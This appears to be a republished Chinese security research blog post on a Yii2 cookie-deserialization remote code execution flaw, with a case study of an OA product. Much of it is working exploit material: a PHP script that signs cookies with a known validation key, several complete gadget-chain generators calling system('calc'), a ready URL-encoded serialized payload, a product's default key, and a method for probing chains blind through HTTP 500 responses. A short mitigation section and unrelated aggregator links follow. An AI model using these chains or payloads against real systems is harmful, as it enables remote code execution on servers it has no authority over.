从某达OA到Yii2框架的cookie反序列化漏洞研究

news2024/11/19 19:31:21

序言

近期网上流传的某达OA存在PHP反序列化漏洞,导致命令执行。因为该漏洞底层是Yii2框架的漏洞,所以搭建好了Yii2框架环境,在Yii2框架的环境下来进行模拟研究,希望能达到举一反三和类比分析学习的目的。该cookie处反序列化漏洞属于通用型漏洞,如果使用了Yii2框架进行应用开发,若泄露了config/web.php中的cookieValidationKey值、且符合特定Yii2漏洞版本以及PHP版本小于7,那么可能存在此反序列化漏洞,从而导致恶意代码执行。笔者能力有限,如有理解不当之处,希望大师傅们批评指正!

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

一、反序列化的入口与条件

1.hash验证数据

我们在cookie处提交的参数,被送到了这个validateData方法处,在这里$data的内容会被拆分。在期间其经历了一次hash值校验。我们只要用它提供的加密算法和密钥进行加密,生成数据,就能通过所有的校验,然后进入我们期望的**return $pureData;**环节。

1695352559_650d06efa152204f4d3f6.png!small?1695352557969

源代码如下:

public function validateData($data, $key, $rawHash = false)
    {
        $test = @hash_hmac($this->macHash, '', '', $rawHash);
        if (!$test) {
            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
        }
        $hashLength = StringHelper::byteLength($test);
        if (StringHelper::byteLength($data) >= $hashLength) {
            $hash = StringHelper::byteSubstr($data, 0, $hashLength);
            $pureData = StringHelper::byteSubstr($data, $hashLength, null);

            $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);

            if ($this->compareString($hash, $calculatedHash)) {
                return $pureData;
            }
        }

        return false;
    }

2.php版本限制

上面的validateData方法,返回结果后,就回到了loadCookies方法。这里存在一个反序列化入口,就是下图else分支的内容,我们上一方法得到的反序列化数据会进入我们的反序列化入口(注意,allowed_classes 被设置为 false,则在反序列化过程中不会创建对象,只会还原基本数据类型,例如字符串、整数、数组等)。所以我们可以发现,在Yii2框架默认的环境下要进行这个反序列化操作,对php的版本是有所限制的,如下图,可以发现我们的版本中PHP_VERSION_ID 要小于70000才能到达我们期望的反序列化入口

1695352569_650d06f971f242e402384.png!small?1695352568206

源代码如下:

protected function loadCookies()
    {
        $cookies = [];
        if ($this->enableCookieValidation) {
            if ($this->cookieValidationKey == '') {
                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
            }
            foreach ($_COOKIE as $name => $value) {
                if (!is_string($value)) {
                    continue;
                }
                $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                if ($data === false) {
                    continue;
                }
                if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
                    $data = @unserialize($data, ['allowed_classes' => false]);
                } else {
                    $data = @unserialize($data);
                }
                ......
            }
        } else {
            ......
        }

        return $cookies;
    }

下面我们先直接展示漏洞利用结果。我们可以从调用栈看到已经在进行我们的反序列化过程了。最终弹出计算机验证确实存在此漏洞。

1695352583_650d070734cedae52437f.png!small?1695352581916

run方法如下:

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

二、config/web.php中的cookieValidationKey值

入口我们观察到了,在validateData方法里我们对需要对自己的反序列数据要进行一次hash计算,然后将hash值拼接到我们url编码后的反序列化数据前,然后附在cookie中发送。这里计算hash就需要用到我们的cookieValidationKey值,我们需要在config/web.php中搜索cookieValidationKey值。

例如下图中的"demo2":

1695352592_650d07101341edd97ef60.png!small?1695352590302

我们掌握了加密密钥与加密方法,也就可以编写自己想要用的反序列化数据。如下是简单编写的cookie加密程序:

<?php
//$_GET 来获取通过 GET 请求传递的参数时,PHP 会自动对这些参数进行一次 URL 解码;
$data=$_GET['data'];

$key = "demo2";
$macHash = "sha256";
$rawHash=false;

$hmac = hash_hmac($macHash, $data, $key, $rawHash);


//使用php自身的hash_hmac方法计算数据在sha256算法下的hash值;
echo "-----------------payload---------------";
$encodedata=urlencode($data);
echo '<br/>';

echo $hmac.$encodedata;

效果如下:

1695352601_650d0719c23c76e7142ef.png!small?1695352600347

三、将反序列化数据从cookie中提取出来

从前面反序列化的入口与条件看过来,我们这里进行更为细致的研究,看看我们的反序列化数据是如何被提取出来的。下面的**$test值可以被视作测试数据,没有什么输入,目的其实在于输出适用了macHash算法后加密数据的长度。这个长度被用作分割我们cookie里的提交的数据**。

1695352608_650d0720b2e4b7ec68eb5.png!small?1695352607894

我们提交的是两部分,反序列化数据和在它前面的hash_hmac方法加密的hash值。由测试数据计算出的hash长度为64,那么后面会将cookie提交的数据中的前64个字符赋值给 h a s h ,然后将剩余的赋值给 hash,然后将剩余的赋值给 hash,然后将剩余的赋值给pureData。(我需要注意,这里获取的$data数据会被默认urldecode解码一次。)

1695352614_650d07267a43691fc3b77.png!small?1695352612698

最终对比提交的hash值与计算出的$pureData的hash值是否一致,一致则会进入我们期望的步骤。

四、关于某些链条需要PHPSESSID

案例说明,有些反序列化数据需要我们添加PHPSESSID,例如下面这条利用链:

yii\db\BatchQueryResult->yii\web\DbSession->yii\rest\CreatAction

其反序列化过程会触发对PHPSESSID状态的校验,含有PHPSESSID才能成功命令执行。先看一组对比图,第一个图添加了PHPSESSID,则进入了 composeFields方法;反之第二个图直接跳到结尾了,那么自然出现我们预期外的结果。如下两幅对比图:

1695352624_650d0730af926028a9568.png!small?1695352623653

1695352630_650d0736782c378f4dc5a.png!small?1695352629869

这个什么原因我们看看getIsActive方法:

public function getIsActive()
    {
        $value=session_status();
        //$value=2; PHP_SESSION_ACTIVE值为2
        return $value === PHP_SESSION_ACTIVE;
    }
define('PHP_SESSION_ACTIVE', 2);

如果没有Cookie中添加PHPSESSID,那么我们看看图:

1695352635_650d073b574f1bea9144d.png!small?1695352633415

所以会返回false,我们无法进入条件为true的语句内。

总之,反序列化链中所有会调用到getIsActive方法的链条,我们都需要添加PHPSESSID

五、通过500状态来判断链条存在可能

500状态,属于判断链条存在的一个必要条件。其会代表我们的反序列化数据所使用的类是可以调用到的,我们通过500状态,可以去判断目标可能存在某条利用链。我们可以从反序列化起点进行测试。(注意:通过500状态码来盲打,可以应对使用了不同漏洞组件的应用程序,可以辅助我们开发POC检测工具。所以前提是需要测试目标为存在漏洞的Yii2框架版本。)

判断过程如下面案例展示:

<?php


namespace yii\db {
    //use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = "new DbSession()";
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));
}
?>

1695352644_650d0744e1a40303aafba.png!small?1695352644200

返回500,则我们可以继续测试:

<?php

namespace yii\web {
    //use yii\rest\CreateAction;
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct() {
            $this->writeCallback="[(new CreateAction),\"run\"]";
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));


}
?>

1695352653_650d074d70014cc1e25fe.png!small?1695352651758

又为500,我们继续进行payload测试,进行到下面的测试我们已经测试出一条链了。

<?php

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess="system";
            $this->id="calc";
        }
    }
}

namespace yii\web {
    use yii\rest\CreateAction;
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct() {
            $this->writeCallback=[(new CreateAction),"run"];
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));


}
?>

1695352660_650d0754e2e397c4d8550.png!small?1695352659470

这个思路可以用来生成我们的payload探测工具,可以来查找可以被利用的反序列化链条。

六、对某达oa的反序列化漏洞进行观察

某达oa由于**/general/appbuilder/web/portal/gateway/?这一条路径会使用上面介绍Yii2的cookie处理方法,所以就存在Yii2的那个反序列化入口,在获取到某达oa的config/web.php中的cookieValidationKey值后,我们就可以构造我们的payload进行攻击。在公开的POC中,可以观察到使用了某达oa自身的一个tdAuthcode加解密函数来加密payload**,从而可以绕过一些防御检测。

某达oa默认密钥"tdide2",使用了该密钥来加密利用链。我们在cookie中提交反序化数据,利用上面说的500状态来判断,可以判断这条链是存在的。不过system函数应该是被禁用了,需要使用网上公开的POC进行检测。

1695352664_650d075806f62c29ce295.png!small?1695352662611

下面是测试出的一条链条:

<?php

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct() {
            $this->checkAccess= "system";
            $this->id = "calc";
           
        }
    }
}

namespace  yii\base{
    use yii\rest\CreateAction;
    class Component{
        private $_behaviors;
        private $_events;
        public function __construct(){
            $this->_behaviors = 1;
            $this->_events =array("afterOpen"=>array(array([(new CreateAction),"run"])));
        }
    }
}

namespace yii\redis {
    use yii\base\Component;
    class Connection extends Component{
        public $hostname;
        public $port;
        public $redisCommands;
        public $password;
        public $database;

        public $_socket;
        public function __construct() {

            $this->hostname = "127.0.0.1";
            $this->port = 135;
            $this->redisCommands = ["CLOSE CURSOR"];
     
            $this->_socket = false;
            parent::__construct($_events);
            parent::__construct($_behaviors);
        }

    }
}

namespace yii\db {
    use yii\redis\Connection;
    class DataReader {
        private $_statement;

        public function __construct() {
            $this->_statement = new Connection();
        }
    }
}
namespace yii\db {
    use yii\db\DataReader;

    class BatchQueryResult {
        public $db;
        public $query;

        public $each;
        private $_dataReader;
        


        public function __construct() {

            $this->_dataReader = new DataReader();
         
        }
    }
}



namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();

    echo urlencode(serialize($a));

}
?>

序列化代码如下:

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A4%3A%7Bs%3A2%3A%22db%22%3BN%3Bs%3A5%3A%22query%22%3BN%3Bs%3A4%3A%22each%22%3BN%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A135%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A7%3A%22_socket%22%3Bb%3A0%3Bs%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A4%3A%22calc%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D%7D

O:23:"yii\db\BatchQueryResult":4:{s:2:"db";N;s:5:"query";N;s:4:"each";N;s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\db\DataReader":1:{s:29:"yii\db\DataReader_statement";O:20:"yii\redis\Connection":8:{s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:135;s:13:"redisCommands";a:1:{i:0;s:12:"CLOSE CURSOR";}s:8:"password";N;s:8:"database";N;s:7:"_socket";b:0;s:30:"yii\base\Component_behaviors";i:1;s:27:"yii\base\Component_events";a:1:{s:9:"afterOpen";a:1:{i:0;a:1:{i:0;a:2:{i:0;O:21:"yii\rest\CreateAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:4:"calc";}i:1;s:3:"run";}}}}}}}

接下来,讨论一下,**$this->redisCommands = ["CLOSE CURSOR"];**

因为如果我们使用yii\redis\Connection类来进行中转,那么**$this->redisCommands这个参数就很关键,研究这个参数我们可以帮助我们找到其他的利用链条,所以在这里来说明一下[“CLOSE CURSOR”]。我们观察下面,当调用栈到达yii\db\DataReader->close()的时候,会调用到yii\redis\Connection类的closeCursor方法**。

1695352672_650d07608213a6253004f.png!small?1695352671133

由于yii\redis\Connection类不存在closeCursor方法但存在**__call魔术方法,可以观察到如下传值,closeCursor被赋值给$name**。

1695352677_650d07654b5c595b7b19c.png!small?1695352675872

camel2words方法

public static function camel2words($name, $ucwords = true)
    {
        $label = mb_strtolower(trim(str_replace([
            '-',
            '_',
            '.',
        ], ' ', preg_replace('/(?<!\p{Lu})(\p{Lu})|(\p{Lu})(?=\p{Ll})/u', ' \0', $name))), self::encoding());

        return $ucwords ? StringHelper::mb_ucwords($label, self::encoding()) : $label;
    }

直接让ChatGPT分析一下:

这段代码是一个PHP函数,用于将驼峰式命名的字符串转换为人类可读的单词组合,并可以选择是否将结果的首字母大写。下面是对代码的详细分析:

函数名称:camel2words

这个函数的名称表明它的作用是将驼峰式命名转换为单词组合。

参数:

$name:要转换的驼峰式命名的字符串。

$ucwords:一个布尔值,指示是否将结果的首字母大写(默认为 true)。

函数体:

代码的第一行定义了一个变量 $label,用于存储转换后的字符串。

mb_strtolower 函数用于将字符串转换为小写。trim 函数用于去除字符串两端的空格。

str_replace 函数用于将字符串中的一些特定字符(如短横线、下划线、点)替换为空格,以便将它们分隔开。

preg_replace 函数使用正则表达式来处理驼峰命名。它通过正则表达式将大写字母分隔开,并在它们前面添加空格,以便后续处理。

接下来的行对 $name 进行了多步的字符串处理,最终生成了一个用空格分隔的单词组合。

返回值:

如果 $ucwords 参数为 true,则调用 StringHelper::mb_ucwords 函数将转换后的单词组合中的每个单词的首字母都转换为大写,并返回结果。

如果 $ucwords 参数为 false,则直接返回转换后的小写单词组合。

总之,这个函数的作用是将驼峰式的字符串转换为人类可读的单词组合,方便展示给用户。同时,可以选择是否将结果的首字母大写,以适应不同的格式要求。注意,为了处理多字节字符,函数使用了 mb_strtolower 和 StringHelper::mb_ucwords 函数。

所以从上面的代码演示,我们可以看到,如果想使用一条其他的利用链,我们需要寻找到一条包含形如$this->_statement->closeCursor();语句的类。由于会调用camel2words方法来处理yii\redis\Connection类的__call方法的 n a m e 参数,所以我们需要根据自己找到的 name参数,所以我们需要根据自己找到的 name参数,所以我们需要根据自己找到的name参数,来定制$this->redisCommands的值,来进入我们期望的方法。(closeCursor——处理方法——> [“CLOSE CURSOR”])

1695352687_650d076f704e8cb63e861.png!small?1695352685632

如果自己设置的$name参数能够成功通过条件语句,进入到executeCommand方法,后续会按照我们期望的方法顺利地进行代码执行。

1695352694_650d0776306c82e44cedd.png!small?1695352692687

七、我们如何预防呢?

  • 这个漏洞,是需要知道config/web.php中的cookieValidationKey值的,这个值会被用于加密反序列化数据,所以我们要预防,就得保护好我们的cookieValidationKey值,避免信息泄露、默认值等这些情况导致cookieValidationKey值被获取。
  • Yii2框架默认中要想进入反序列化利用点是需要 PHP_VERSION_ID< 70000的,所以我们可以保证我们的系统php版本是较高的版本(大于7)
  • 确保Yii2框架历史漏洞补丁被打上。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1062408.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VBA技术资料MF66:使用代码插入行或列

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。我的教程一共九套&#xff0c;分为初级、中级、高级三大部分。是对VBA的系统讲解&#xff0c;从简单的入门&#xff0c;到…

LangChain 用例(未完)

在Azure上的OpenAI端点 注意 OpenAI key 可以用微软 用例【1. 嵌入 &#xff0c;2. 问答】 1. import os import openai from langchain.embeddings import OpenAIEmbeddings os.environ["OPENAI_API_KEY"] "****" # Azure 的密钥 os.environ["OP…

[ 车牌识别 License Plate Detection and Recognition ]

从0到1 视频讲解&#xff1a;图像处理和模式识别案例-一个简单的车牌识别系统 车牌识别 整体流程可以分成三个部分&#xff0c; (1) 车牌定位/检测&#xff1b; (2) 字符分割&#xff1b; (3) 字符识别。 它们各自发展出很多方法以应对不同的情况。 下面用一种完整的技术路线…

Java循环结构:一件事重复做才能有效果。

&#x1f451;专栏内容&#xff1a;Java⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、while循环1、基本语法2、注意事项3、break语句4、continue语句 二、do-while循环三、for循环1、基本语法2、注意事项 四、循…

kafka集群工作机制

一、kafka在zookeeper上的元数据解释 kafka中的broker要选举Controller角色来管理整个kafka集群中的分区和副本状态。一个Topic下多个partition要选举Leader角色和客户端进行交互数据 Zookeeper客户端工具&#xff1a; prettyZoo。 下载地址&#xff1a;https://github.com/vr…

单调队列---数据结构与算法

简介 队列也是一种受限制的线性表和栈相类似&#xff0c;栈是先进后出&#xff0c;而队列是先进先出&#xff0c;就好像一没有底的桶&#xff0c;往里面放东西&#xff0c;如图 在这里也是用数组来实现队列&#xff0c;用数组实现的叫做顺序队列 队列的数组模拟 const int N…

网络安全的发展方向是什么?网络安全学什么内容

前言 不少小伙伴开始学习网络安全技术&#xff0c;但却不知道学习网络安全能找什么工作&#xff1f;网络安全是现下较为火热的职业岗位&#xff0c;吸引了许多企业和个人对网络安全技术的青睐。学习网络安全的人越来越多&#xff0c;网络安全也有很多发展方向。那么如何选择网…

mysql日期月份相关函数

从给定日期提取最后一天&#xff1a; 要知道2017年12月的最后日期&#xff0c;可以按以下方式执行LAST_DAY()函数&#xff1a;用法:输出&#xff1a; 2017-12-31 从给定的日期时间中提取最后一天&#xff1a; 要使用日期时间格式了解月份的最后日期&#xff0c;可以按以下方式…

目标检测算法改进系列之Backbone替换为NextViT

NextViT介绍 由于复杂的注意力机制和模型设计&#xff0c;大多数现有的视觉Transformer&#xff08;ViTs&#xff09;在现实的工业部署场景中不能像卷积神经网络&#xff08;CNNs&#xff09;那样高效地执行&#xff0c;例如TensorRT 和 CoreML。这带来了一个明显的挑战&#…

Html+Css+Js计算时间差,返回相差的天/时/分/秒(从未来的一个日期时间到当前日期时间的差)。

Html部分 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title></title><link rel"stylesheet" type"text/css" href"css/index.css" /><script src"js/index.js" t…

库函数的模拟实现

前言&#xff1a; 在上一篇文章中我们了解到了一些库函数的使用&#xff0c;为了加深我们对库函数的理解&#xff0c;我们来模拟实现一下这些库函数的用法。 这是上一篇文章的链接&#xff1a; http://t.csdnimg.cn/r7SKNhttp://t.csdnimg.cn/r7SKN 1.模拟实现strlen 模拟…

【C++】运算符重载 ⑥ ( 一元运算符重载 | 后置运算符重载 | 前置运算符重载 与 后置运算符重载 的区别 | 后置运算符重载添加 int 占位参数 )

文章目录 一、后置运算符重载1、前置运算符重载 与 后置运算符重载 的区别2、后置运算符重载添加 int 占位参数 上 2 2 2 篇博客 【C】运算符重载 ④ ( 一元运算符重载 | 使用 全局函数 实现 前置 自增运算符重载 | 使用 全局函数 实现 前置 - - 自减运算符重载 )【C】运算符…

算法题:盛最多水的容器

这个题目乍一看就是双指针&#xff0c;没想到官方解答也是双指针&#xff0c;我在官方的基础上优化了一下下&#xff0c;左右两边各一个指针&#xff0c;每次移动短的那一头的时候&#xff0c;不是移动一格&#xff0c;而是找到比短的那一头要长一点的&#xff0c;再进行比较。…

文心一言 VS 讯飞星火 VS chatgpt (106)-- 算法导论10.1 4题

四、用go语言&#xff0c;重写 ENQUEUE 和 DEQUEUE 的代码&#xff0c;使之能处理队列的下溢和上溢。 文心一言&#xff1a; 在 Go 语言中&#xff0c;我们可以使用切片来实现队列。下面是如何实现 ENQUEUE 和 DEQUEUE 操作&#xff0c;同时处理队列的下溢和上溢的情况&#…

坦克世界WOT知识图谱三部曲之爬虫篇

文章目录 关于坦克世界1. 爬虫任务2. 获取坦克列表3. 获取坦克具体信息结束语 关于坦克世界 《坦克世界》(World of Tanks, WOT)是我在本科期间玩过的一款战争网游&#xff0c;由Wargaming公司研发。2010年10月30日在俄罗斯首发&#xff0c;2011年4月12日在北美和欧洲推出&…

目标检测算法改进系列之Backbone替换为RepViT

RepViT简介 轻量级模型研究一直是计算机视觉任务中的一个焦点&#xff0c;其目标是在降低计算成本的同时达到优秀的性能。轻量级模型与资源受限的移动设备尤其相关&#xff0c;使得视觉模型的边缘部署成为可能。在过去十年中&#xff0c;研究人员主要关注轻量级卷积神经网络&a…

整体网络架构p22

1. 两次卷积&#xff0c;一次池化。得到一个三维特征图&#xff0c;然后让三维的特征图&#xff0c;三个值进行相乘拉成特征向量&#xff0c;把得到的结果需要靠全连接层。 带参数计算才算一层 算conv的个数FC全连接层就得到卷积神经网络的层数 FC:全连接层 2. 3.reset网络&a…

连接查询-多表联合查

一、连接查询的分类 根据表的连接方式&#xff0c;连接查询分为内连接、外连接和全连接。 内连接&#xff1a; 等值连接非等值连接自连接外连接&#xff1a; 左外连接&#xff08;左连接&#xff09;右外连接&#xff08;右连接&#xff09; 全连接 二、笛卡尔积 交叉连接也…

番外--Task1:

""" 重置root管理员密码添加yum源测试软件包安装成功 """ step1: 在shell界面输入重启命令&#xff1b; step2: 重启过程中出现此界面&#xff0c;快速按键盘‘e’, 进入系统内核程序&#xff1b; step3: 在系统内核程序内&#xff0c…

【MATLAB源码-第42期】基于matlab的人民币面额识别系统(GUI)。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 基于 MATLAB 的人民币面额识别系统设计可以分为以下步骤&#xff1a; 1. 数据收集与预处理 数据收集&#xff1a; 收集不同面额的人民币照片&#xff0c;如 1 元、5 元、10 元、20 元、50 元和 100 元。确保在不同环境、不…